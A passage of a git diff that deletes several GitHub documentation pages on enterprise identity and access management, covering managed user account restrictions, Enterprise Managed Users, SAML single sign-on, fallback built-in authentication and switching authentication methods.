variables.product.prodname_github_apps %} - -{% data variables.enterprise.prodname_managed_users_caps %}: - -* Cannot install {% data variables.product.prodname_github_apps %} on their user accounts, unless the app is an internal app. See [AUTOTITLE](/apps/using-github-apps/internal-github-apps). -* Can install {% data variables.product.prodname_github_apps %} on a repository if the app doesn't request organization permissions and if the {% data variables.enterprise.prodname_managed_user %} has admin access to the repository. -* Can install {% data variables.product.prodname_github_apps %} on an organization if the {% data variables.enterprise.prodname_managed_user %} is an organization owner. -* Can purchase and install paid {% data variables.product.prodname_github_apps %} only if the {% data variables.enterprise.prodname_managed_user %} is an enterprise owner. -* Can create {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}. - - {% data reusables.emus.oauth-app-note %} - -## {% data variables.product.prodname_github_codespaces %} - -* On {% data variables.product.prodname_dotcom_the_website %}, {% data variables.enterprise.prodname_managed_users %} can only create codespaces that are owned by the enterprise. This means that {% data variables.enterprise.prodname_managed_users %}: - * Can create codespaces for repositories owned by their organization, or forks of these repositories, provided that the organization can pay for {% data variables.product.prodname_github_codespaces %}. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). - * Cannot create codespaces for their personal repositories, any repositories outside their organizations, or {% data variables.product.company_short %}'s public templates for {% data variables.product.prodname_github_codespaces %}. - * Cannot publish a codespace created from a template to a new repository. -* On {% data variables.enterprise.data_residency_site %}, {% data variables.product.prodname_github_codespaces %} is not available to any users. - -## {% data variables.product.prodname_copilot %} - -* {% data variables.enterprise.prodname_managed_users_caps %} cannot sign up for {% data variables.product.prodname_copilot_pro %} or {% data variables.product.prodname_copilot_free %}. To allow a managed user to use {% data variables.product.prodname_copilot_short %}, you must grant the user access to a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} subscription. See [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). - -## {% data variables.product.prodname_pages %} - -* {% data variables.enterprise.prodname_managed_users_caps %} are limited in their use of {% data variables.product.prodname_pages %}. See [AUTOTITLE](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users). - -## Interactions - -* On {% data variables.product.prodname_dotcom_the_website %}, {% data variables.enterprise.prodname_managed_users %} can view all public repositories, but cannot interact with repositories outside of the enterprise in any of the following ways: - * Push code to the repository - * Create issues or pull requests within the repository - * Create or comment on discussions within the repository - * Comment on issues or pull requests, or add reactions to comments - * Star, watch, or fork the repository -* {% data variables.enterprise.prodname_managed_users_caps %} cannot follow users outside of the enterprise. - -## Repository management - -* You can choose whether {% data variables.enterprise.prodname_managed_users %} are able to create repositories owned by their user accounts. See [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation). -* If you allow {% data variables.enterprise.prodname_managed_users %} to create repositories owned by their user accounts, they can only own private repositories and can only invite other enterprise members to collaborate on their user-owned repositories. -* {% data reusables.enterprise-accounts.emu-forks %} -* Only private and internal repositories can be created in organizations owned by an {% data variables.enterprise.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. - -## Visibility and invitations - -{% data variables.enterprise.prodname_managed_users_caps %}: - -* Cannot be invited to organizations or repositories outside of the enterprise, or to other enterprises. -* Are only visible, along with the content they create, to other members of the enterprise. -* Cannot be seen, mentioned, or invited to collaborate by other {% data variables.product.prodname_dotcom %} users. -* Can be added to organization-owned repositories as repository collaborators, giving them access to repositories in organizations where they are not members -* Can be assigned the guest collaborator role, preventing them from accessing internal repositories in the enterprise except in organizations where they are added as members - -## Other restrictions - -{% data variables.enterprise.prodname_managed_users_caps %}: - -* Cannot create gists or comment on gists. -* Cannot create personalized profiles. -* Do not have access to the {% data variables.product.prodname_certifications %} program. -* Do not have an individual storage allocation. They can still generate content that counts against the enterprise storage allocation, but cannot create content that consumes storage at a user level, such as by publishing packages. diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users.md b/content/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users.md deleted file mode 100644 index efef4294e5ff..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: 'About {% data variables.product.prodname_emus %}' -shortTitle: About managed users -intro: 'Learn how your enterprise can manage the lifecycle and authentication of users on {% data variables.product.prodname_dotcom %} from your identity provider (IdP).' -redirect_from: - - /early-access/github/articles/get-started-with-managed-users-for-your-enterprise - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users - - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users - - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users - - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider - - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider - - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users - - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-enterprise-managed-users - - /admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users -versions: - ghec: '*' -type: overview -topics: - - Accounts - - Authentication - - Enterprise - - SSO -allowTitleToDifferFromFilename: true ---- - -With {% data variables.product.prodname_emus %}, you manage the lifecycle and authentication of your users on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %} from an external identity management system, or IdP: - -* Your IdP **provisions new user accounts** on {% data variables.product.prodname_dotcom %}, with access to your enterprise. -* Users must **authenticate on your IdP** to access your enterprise's resources on {% data variables.product.prodname_dotcom %}. -* You control **usernames, profile data, organization membership, and repository access** from your IdP. -* If your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will validate access to your enterprise and its resources using your IdP's **Conditional Access Policy (CAP)**. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy). -* {% data variables.enterprise.prodname_managed_users_caps %} **cannot create public content** or collaborate outside your enterprise. See [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/abilities-and-restrictions-of-managed-user-accounts). - -> [!NOTE] {% data variables.product.prodname_emus %} is not the best solution for every customer. To determine whether it's right for your enterprise, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud). - -## Identity management systems - -{% data reusables.enterprise_user_management.emu-paved-path-iam-integrations %} - -### Partner identity providers - -Partner IdPs provide authentication using SAML or OIDC, and provide provisioning with System for Cross-domain Identity Management (SCIM). - -{% rowheaders %} - -| Partner IdP | SAML | OIDC | SCIM | -| :- | :- | :- | :- | -| Entra ID | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -| Okta | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | -| PingFederate | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | {% octicon "check" aria-label="Supported" %} | - -{% endrowheaders %} - -When you use a single partner IdP for both authentication and provisioning, {% data variables.product.company_short %} provides support for the application on the partner IdP and the IdP's integration with {% data variables.product.prodname_dotcom %}. - -### Other identity management systems - -If you cannot use a single partner IdP for both authentication and provisioning, you can use another identity management system or combination of systems. The system must: - -* Adhere to **{% data variables.product.company_short %}'s integration guidelines** -* Provide **authentication using SAML**, adhering to SAML 2.0 specification -* Provide **user lifecycle management using SCIM**, adhering to the SCIM 2.0 specification and communicating with {% data variables.product.company_short %}'s REST API (see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-with-scim-using-the-rest-api)) - -{% data variables.product.company_short %} does not expressly support mixing and matching partner IdPs for authentication and provisioning and does not test all identity management systems. **{% data variables.product.company_short %}'s support team may not be able to assist you with issues related to mixed or untested systems.** If you need help, you must consult the system's documentation, support team, or other resources. - -## Usernames and profile information - -{% data variables.product.prodname_dotcom %} automatically creates a username for each developer by normalizing an identifier provided by your IdP. If the unique parts of the identifier are removed during normalization, a conflict may occur. See [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems). - -The profile name and email address of a {% data variables.enterprise.prodname_managed_user %} is provided by the IdP: -* {% data variables.enterprise.prodname_managed_users_caps %} _cannot_ change their profile name or email address on {% data variables.product.prodname_dotcom %}. -* The IdP can only provide one email address. -* Changing a user's email address in your IdP will delink the user from the contribution history associated with the old email address. - -## Managing roles and access - -In your IdP, you can give each {% data variables.enterprise.prodname_managed_user %} a **role in your enterprise**, such as member, owner, or guest collaborator. See [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). - -Organization memberships (and repository access) can be managed manually, or you can **update memberships automatically using IdP groups**. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). - -## Authentication for {% data variables.enterprise.prodname_managed_users %} - -The locations where {% data variables.enterprise.prodname_managed_users %} can authenticate to {% data variables.product.prodname_dotcom %} depends on how you configure authentication (SAML or OIDC). See [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authenticating-with-a-managed-user-account). - -By default, when an unauthenticated user attempts to access your enterprise, {% data variables.product.company_short %} displays a 404 error. You can optionally enable automatic redirects to single sign-on (SSO) instead. See [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users). - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users) diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/about-identity-and-access-management.md b/content/admin/managing-iam/understanding-iam-for-enterprises/about-identity-and-access-management.md deleted file mode 100644 index 404a57168297..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/about-identity-and-access-management.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: About identity and access management -shortTitle: About IAM -intro: 'Administrators must decide how users will access the enterprise''s resources on {% data variables.product.github %}.' -versions: - ghec: '*' - ghes: '*' -type: overview -redirect_from: - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management - - /admin/identity-and-access-management/understanding-iam-for-enterprises/about-identity-and-access-management -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO ---- - -## About IAM for {% data variables.product.github %} - -{% ifversion ghec %} - -{% data reusables.enterprise-accounts.about-enterprise-types %} - -After learning more about authentication and provisioning for each of these options, to determine which method is best for your enterprise, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/identifying-the-best-authentication-method-for-your-enterprise). - -{% elsif ghes %} - -Administrators who configure a {% data variables.product.prodname_ghe_server %} instance can use local accounts and built-in authentication on the instance. Alternatively, to centralize identity and access for an enterprise's web applications, administrators can configure an external authentication method. If you use SAML, you can optionally provision user accounts on the instance from your identity provider (IdP) using System for Cross-domain Identity Management (SCIM). - -{% endif %} - -## Authentication methods - -{% ifversion ghec %} - -When you create an enterprise on {% data variables.product.github %}, you can decide how people authenticate to access your resources and who controls the user accounts. - -* [Authentication through {% data variables.location.product_location %}](#authentication-through-githubcom) -* [Authentication through {% data variables.location.product_location %} with additional SAML access restriction](#authentication-through-githubcom-with-additional-saml-access-restriction) -* [Authentication with {% data variables.product.prodname_emus %} and federation](#authentication-with-enterprise-managed-users-and-federation) - -### Authentication through {% data variables.location.product_location %} - -With authentication solely through {% data variables.location.product_location %}, each person you want to grant access to your enterprise must create and manage a personal account on {% data variables.location.product_location %}. After you grant access to your enterprise, the member can access your enterprise's resources after signing into the account on {% data variables.location.product_location %}. The member manages the account, and can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %}. For more information about personal accounts, see [AUTOTITLE](/get-started/signing-up-for-github/signing-up-for-a-new-github-account). - -### Authentication through {% data variables.location.product_location %} with additional SAML access restriction - -If you configure additional SAML access restriction, each person you want to grant access to your enterprise must create and manage a personal account on {% data variables.location.product_location %}. After you grant access to your enterprise, the member can access your enterprise's resources only after authenticating successfully for both the account on {% data variables.location.product_location %} and for an account on your SAML identity provider (IdP). The member can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %} using their personal account. For more information about requiring SAML authentication for all access your enterprise's resources, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam). - -You can choose between configuring SAML at the enterprise level, which applies the same SAML configuration to all organizations within the enterprise, and configuring SAML separately for individual organizations. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations). - -### Authentication with {% data variables.product.prodname_emus %} and federation - -If you need more control of the accounts for your enterprise members on {% data variables.product.github %}, you can use {% data variables.product.prodname_emus %}. With {% data variables.product.prodname_emus %}, you provision and manage accounts for your enterprise members on {% data variables.product.github %} using your IdP. Each member signs into an account that you create, and your enterprise manages the account. Contributions outside the enterprise are restricted. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% elsif ghes %} - -The following authentication methods are available for {% data variables.product.prodname_ghe_server %}. - -* [Built-in authentication](#built-in-authentication) -* [External authentication](#external-authentication) - -### Built-in authentication - -{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} To access your instance, people authenticate with the credentials for the account. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication). - -### External authentication - -If you use an external directory or identity provider (IdP) to centralize access to multiple web applications, you may be able to configure external authentication for {% data variables.location.product_location %}. For more information, see the following articles. - -* [AUTOTITLE](/admin/identity-and-access-management/using-cas-for-enterprise-iam) -* [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam) -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam) - -{% data reusables.enterprise.saml-or-ldap %} - -If you choose to use external authentication, you can also configure fallback authentication for people who don't have an account on your external authentication provider. For example, you may want to grant access to a contractor or machine user. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider). - -{% endif %} - -## About provisioning - -{% ifversion ghec %} - -If you use [authentication through {% data variables.location.product_location %} with additional SAML access restriction](#authentication-through-githubcom-with-additional-saml-access-restriction), people create personal accounts on {% data variables.product.prodname_dotcom_the_website %}, and you can grant those personal accounts access to resources in your enterprise. You do not provision accounts. - -Alternatively, if you use [{% data variables.product.prodname_emus %}](#authentication-with-enterprise-managed-users-and-federation), you must configure your IdP to provision user accounts within your enterprise on {% data variables.location.product_location %} using System for Cross-domain Identity Management (SCIM). For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users). - -{% elsif ghes %} - -If you configure built-in authentication, CAS, LDAP, or SAML, {% data variables.product.prodname_ghe_server %} creates a user account when an authorized person signs into the instance, or "just in time" (JIT). Optionally, if you use SAML, you can provision user accounts from your identity provider (IdP) using SCIM. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise). - -{% endif %} - -{% ifversion emu-public-scim-schema %} - -## About supported IdPs - -{% data reusables.enterprise_user_management.ghec-supported-idps %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts) -* [AUTOTITLE](/admin/overview/about-enterprise-accounts) -{%- ifversion ghec %} -* [AUTOTITLE](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization) -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account) -{%- endif %} diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/about-saml-for-enterprise-iam.md b/content/admin/managing-iam/understanding-iam-for-enterprises/about-saml-for-enterprise-iam.md deleted file mode 100644 index fc0279046d6f..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/about-saml-for-enterprise-iam.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: About SAML for enterprise IAM -shortTitle: About SAML for IAM -intro: 'You can use SAML single sign-on (SSO) to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}to {% data variables.location.product_location %}{% endif %}.' -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Accounts - - Access management - - Authentication - - Enterprise - - Identity -redirect_from: - - /admin/authentication/about-identity-and-access-management-for-your-enterprise - - /github/setting-up-and-managing-your-enterprise/about-identity-and-access-management-for-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/about-identity-and-access-management-for-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/about-user-provisioning-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-and-scim-for-your-enterprise-account-using-okta - - /admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/about-identity-and-access-management-for-your-enterprise - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-saml-for-enterprise-iam - - /admin/identity-and-access-management/understanding-iam-for-enterprises/about-saml-for-enterprise-iam ---- - -## About SAML SSO for your enterprise - -{% ifversion ghec %} - -If your enterprise members manage their own user accounts on {% data variables.location.product_location %}, you can configure SAML authentication as an additional access restriction for your enterprise or organization. {% data reusables.saml.dotcom-saml-explanation %} - -{% data reusables.saml.saml-accounts %} - -{% data reusables.saml.about-saml-enterprise-accounts %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#considerations-for-enabling-saml-for-an-enterprise-or-organization) and [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -Alternatively, you can provision and manage the accounts of your enterprise members with {% data variables.product.prodname_emus %}. To help you determine whether SAML SSO or {% data variables.product.prodname_emus %} is better for your enterprise, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/identifying-the-best-authentication-method-for-your-enterprise). - -{% data reusables.enterprise-accounts.about-recovery-codes %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise). - -After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. - -{% data reusables.saml.no-scim-for-enterprises %} - -If you use Microsoft Entra ID (previously known as Azure AD) as your IdP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise). - -{% data reusables.saml.switching-from-org-to-enterprise %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account). - -{% elsif ghes %} - -SAML SSO allows people to authenticate and access {% data variables.location.product_location %} through an external system for identity management. - -SAML is an XML-based standard for authentication and authorization. When you configure SAML for {% data variables.location.product_location %}, the external system for authentication is called an identity provider (IdP). Your instance acts as a SAML service provider (SP). For more information about the SAML standard, see [Security Assertion Markup Language](https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language) on Wikipedia. - -{% data reusables.enterprise.saml-or-ldap %} - -{% endif %} - -{% ifversion ghes %} - -{% data reusables.enterprise_user_management.external_auth_disables_2fa %} - -After you configure SAML, people who use {% data variables.location.product_location %} must use a {% data variables.product.pat_generic %} to authenticate API requests. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -{% data reusables.enterprise_user_management.built-in-authentication %} - -{% endif %} - -For more information about the configuration of SAML SSO on {% data variables.product.github %}, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -{% ifversion ghes %} - -## About creation of user accounts - -{% data reusables.scim.after-you-configure-saml %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise). - -{% data reusables.saml.saml-ghes-account-revocation %} - -{% endif %} - -## Supported IdPs - -{% ifversion ghec %} - -We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website. - -IdP | SAML | Team synchronization | ---- | :--: | :-------: | -Active Directory Federation Services (AD FS) | {% octicon "check" aria-label= "Supported" %} | {% octicon "x" aria-label="Not supported" %} | -Entra ID | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | -Okta | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -OneLogin | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -PingOne | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -Shibboleth | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | - -{% elsif ghes %} - -{% data reusables.saml.saml-supported-idps %} - -If your IdP supports encrypted assertions, you can configure encrypted assertions on {% data variables.product.prodname_ghe_server %} for increased security during the authentication process. - -{% data reusables.saml.saml-single-logout-not-supported %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam) -* [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website -* [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/allowing-built-in-authentication-for-users-outside-your-provider.md b/content/admin/managing-iam/understanding-iam-for-enterprises/allowing-built-in-authentication-for-users-outside-your-provider.md deleted file mode 100644 index 9750a8f9da61..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/allowing-built-in-authentication-for-users-outside-your-provider.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Allowing built-in authentication for users outside your provider -intro: 'You can configure fallback authentication to allow built-in authentication for people who don''t have an account on your CAS, LDAP, or SAML authentication provider.' -redirect_from: - - /enterprise/admin/user-management/allowing-built-in-authentication-for-users-outside-your-identity-provider - - /enterprise/admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider - - /admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider - - /admin/identity-and-access-management/understanding-iam-for-enterprises/allowing-built-in-authentication-for-users-outside-your-provider -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity -shortTitle: Fallback authentication ---- - -## About built-in authentication for users outside your provider - -By default, when you enable external authentication for {% data variables.product.prodname_ghe_server %}, built-in authentication is disabled for your instance. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication). - -If you're unable to add specific accounts to your external authentication provider, such as accounts for contractors or machine users, you can configure fallback authentication. Fallback authentication allows built-in authentication for outside users and to access a fallback account if your authentication provider is unavailable. - -If you configure built-in authentication and a person successfully authenticates with SAML or CAS, the person will no longer have the option to authenticate with a username and password. If a user successfully authenticates with LDAP, the credentials are no longer considered internal. - -> [!WARNING] -> If you disable built-in authentication, you must individually suspend any users that should no longer have access to the instance. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users). - -## Configuring built-in authentication for users outside your provider - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. Under "Authentication", select your authentication method. -1. Select **Allow creation of accounts with built-in authentication**. -1. Read the warning, then click **Ok**. - -{% data reusables.enterprise_user_management.two_factor_auth_header %} -{% data reusables.enterprise_user_management.2fa_is_available %} - -## Inviting users outside your provider to authenticate to your instance - -When a user accepts the invitation, they can use their username and password to sign in rather than signing in through the IdP. - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} -{% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/using-cas-for-enterprise-iam) -* [AUTOTITLE](/admin/identity-and-access-management/using-ldap-for-enterprise-iam) -* [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam) diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/changing-authentication-methods.md b/content/admin/managing-iam/understanding-iam-for-enterprises/changing-authentication-methods.md deleted file mode 100644 index e60da2f68e65..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/changing-authentication-methods.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Changing authentication methods -intro: 'You can change the way {% data variables.product.prodname_ghe_server %} authenticates with your existing accounts at any time.' -redirect_from: - - /enterprise/admin/user-management/changing-authentication-methods - - /enterprise/admin/authentication/changing-authentication-methods - - /admin/authentication/changing-authentication-methods - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/changing-authentication-methods - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/changing-authentication-methods - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods - - /admin/identity-and-access-management/understanding-iam-for-enterprises/changing-authentication-methods -versions: - ghes: '*' -type: overview -topics: - - Accounts - - Authentication - - Enterprise - - Identity -shortTitle: Change authentication methods ---- -User accounts on {% data variables.location.product_location %} are preserved when you change the authentication method and users will continue to log into the same account as long as their username doesn't change. - -If the new method of authentication changes usernames, new accounts will be created. As an administrator, you can rename users through the site admin settings or by using [the User Administration API](/rest/enterprise-admin/users#update-the-username-for-a-user). - -Other issues you should take into consideration include: - -* **Passwords:** If you switch to using built-in authentication for your instance, users must [set a password](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials) after the change is completed. - -* **Site administrators:** Administrative privileges are [controlled by your identity provider when you use SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam#saml-attributes) and can be [controlled by group membership when you use LDAP](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance). - -* **Team membership:** Only LDAP lets you [control team membership](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance) from your directory server. - -* **User suspension:** When you use LDAP to authenticate, access to {% data variables.product.prodname_ghe_server %} can be controlled via _restricted groups_. After switching to LDAP, if restricted groups are configured, existing users who are not in one of those groups will be suspended. Suspension will occur either when they log in or during the next LDAP Sync. - -* **Group membership:** When you use LDAP to authenticate, users are automatically [suspended and unsuspended](/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users) based on restricted group membership and account status with Active Directory. - -* **Git authentication:** SAML and CAS only supports Git authentication over HTTP or HTTPS using a [{% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). Password authentication over HTTP or HTTPS is not supported. LDAP supports password-based Git authentication by default, but we recommend that you [disable that method](/admin/identity-and-access-management/using-ldap-for-enterprise-iam/using-ldap#disabling-password-authentication-for-git-operations) and force authentication via a {% data variables.product.pat_generic %} or SSH key. - -* **API authentication:** SAML and CAS only supports API authentication using a [{% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). Basic authentication is not supported. - -* **Two-factor authentication:** {% data reusables.enterprise_user_management.external_auth_disables_2fa %} - -* **Fallback authentication for users with no account on your external authentication provider:** You can invite users to authenticate to {% data variables.location.product_location %} without adding them to your identity provider. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider). diff --git a/content/admin/managing-iam/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud.md b/content/admin/managing-iam/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud.md deleted file mode 100644 index 8ccb4b7fa548..000000000000 --- a/content/admin/managing-iam/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Choosing an enterprise type for GitHub Enterprise Cloud -shortTitle: Choosing an enterprise type -intro: 'Decide whether {% data variables.product.prodname_emus %} is right for your enterprise by asking yourself some questions.' -versions: - ghec: '*' -type: overview -topics: - - Accounts - - 